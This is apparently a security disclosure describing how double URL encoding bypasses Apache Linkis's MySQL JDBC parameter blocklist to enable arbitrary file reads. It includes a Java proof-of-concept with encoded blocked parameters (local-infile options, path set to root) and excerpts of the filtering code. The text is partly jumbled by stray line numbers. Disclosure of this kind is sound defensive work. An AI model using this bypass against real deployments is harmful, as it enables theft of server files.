## Apache Linkis MySQL JDBC Driver Vulnerability: Arbitrary File Read via Double URL Encoding Bypass

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Testcase code is as follows, the mysql driver version used for testing is the default 8.0.28 version of the project

```
package org.apache.linkis.common.utils;
     import org.apache.commons.collections.MapUtils;
     import org.apache.commons.lang3.StringUtils;
 5
 6
     import java.sql.DriverManager;
     import java.util.HashMap;
 7
     import java.util.Map;
 8
     import java.util.Properties;
     import java.util.stream.Collectors;
10
11
12
     public class TestCase {
         private static final String SQL_DRIVER_CLASS = "com.mysql.cj.jdbc.Driver";
13
         private static final String SQL_CONNECT_URL = "jdbc:mysql://%s:%s/%s";
14
15
         public static void main(String[] args) throws Exception {
16
             String host = "127.0.0.1";
17
18
             int port = 3306;
             String database = "database";
19
             String username = "tmp";
20
             String password = "root";
21
             Map<String, Object> extraParams = new HashMap<>();
22
             String key =
23
24
     6%34%25%34%63%25%36%66%25%36%33%25%36%31%25%36%63%25%34%39%25%36%65%25%36%36%2
     5%36%39%25%36%63%25%36%35";
             extraParams.put(key, "yes");
25
26
     extraParams.put("%25%36%31%25%36%63%25%36%63%25%36%66%25%37%37%25%35%35%25%37%
```

```
32%25%36%63%25%34%39%25%36%65%25%34%63%25%36%66%25%36%33%25%36%31%25%36%63%25%
     34%39%25%36%65%25%36%36%25%36%39%25%36%63%25%36%35", "yes");
27
     extraParams.put("%25%36%31%25%36%63%25%36%63%25%36%66%25%37%37%25%34%63%25%36%
     66%25%36%31%25%36%34%25%34%63%25%36%66%25%36%33%25%36%31%25%36%63%25%34%39%25%
     36%65%25%36%36%25%36%39%25%36%63%25%36%35%25%34%39%25%36%65%25%35%30%25%36%31%
     25%37%34%25%36%38", "/");
28
             extraParams.put("maxAllowedPacket", "655360");
29
             Class.forName(SQL_DRIVER_CLASS);
30
             // security check
31
             SecurityUtils.checkJdbcConnParams(
32
                     host,
33
34
                     port,
35
                     username,
36
                     password,
                     database,
37
38
                     extraParams);
             SecurityUtils.appendMysqlForceParams(extraParams);
39
40
             String url =
41
                     String. format(
42
                             SQL_CONNECT_URL, host, port, database);
43
             // deal with empty database
44
             if (StringUtils.isBlank(database)) {
45
                 url = url.substring(0, url.length() - 1);
46
47
             if (MapUtils.isNotEmpty(extraParams)) {
48
              String extraParamString =
49
                         extraParams.entrySet().stream()
50
51
                                  .map(e -> String.join("=", e.getKey(),
     String.valueOf(e.getValue())))
                                  .collect(Collectors.joining("&"));
52
                 url += "?" + extraParamString;
53
54
55
             System.out.println("jdbc connection url: " + url);
56
             Properties properties = SecurityUtils.getMysqlSecurityParams();
             properties.setProperty("user", username);
58
             properties.setProperty("password", password);
59
             DriverManager.getConnection(url, properties);
60
61
         }
62
     }
```

The vulnerability is a bypass of the patch, which filters extraParams in the patch and throws an exception if there is a configuration item in the blocklist

```
(C) TestCase.iava
                                                ConnectionUrl.iava
                                                                  NonRegisteringDriver.iava
                                                                                        SecurityUtils.java
                           ConnectionUrlParser.iava
paramsMap.putAll(newParamsMap);
  Iterator<Map.Entry<String, Object>> iterator = paramsMap.entrySet().iterator();
   while (iterator.hasNext()) {
   Map.Entry<String, Object> entry = iterator.next();
   String key = entry.getKey();
   Object value = entry.getValue();
      iterator.remove();
      throw new LinkisSecurityException(
         "Invalid mysql connection parameters: " + parseParamsMapToMysqlParamUrl(paramsMap));
```

A urlDecode will be performed on paramUrl before detection.

```
/**

* check jdbc params

*

* @param paramsMap

*/

private static void checkParams(Map<String, Object> paramsMap) { 2 usages ±aiceflower+1

if (paramsMap == null || paramsMap.isEmpty()) {
    return;
    }

// deal with url encode

String paramUrl = parseParamsMapToMysqlParamUrl(paramsMap);
    try {
    paramUrl = URLDecoder.decode(paramUrl, enc: "UTF-8");
    } catch (UnsupportedEncodingException e) {
        throw new LinkisSecurityException(35800, "mysql connection cul decode error: " + e);
    }

Map<String, Object> newParamsMap = parseMysqlUrlParamsToMap(paramUrl);
    paramsMap.clear();
    paramsMap.putAll(newParamsMap);
```

In the jdbc driver, the key/value will also be read and urlDecode will be performed once.

```
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```

Here, you can bypass the latest patch by performing dual URL encoding and trigger arbitrary file reading

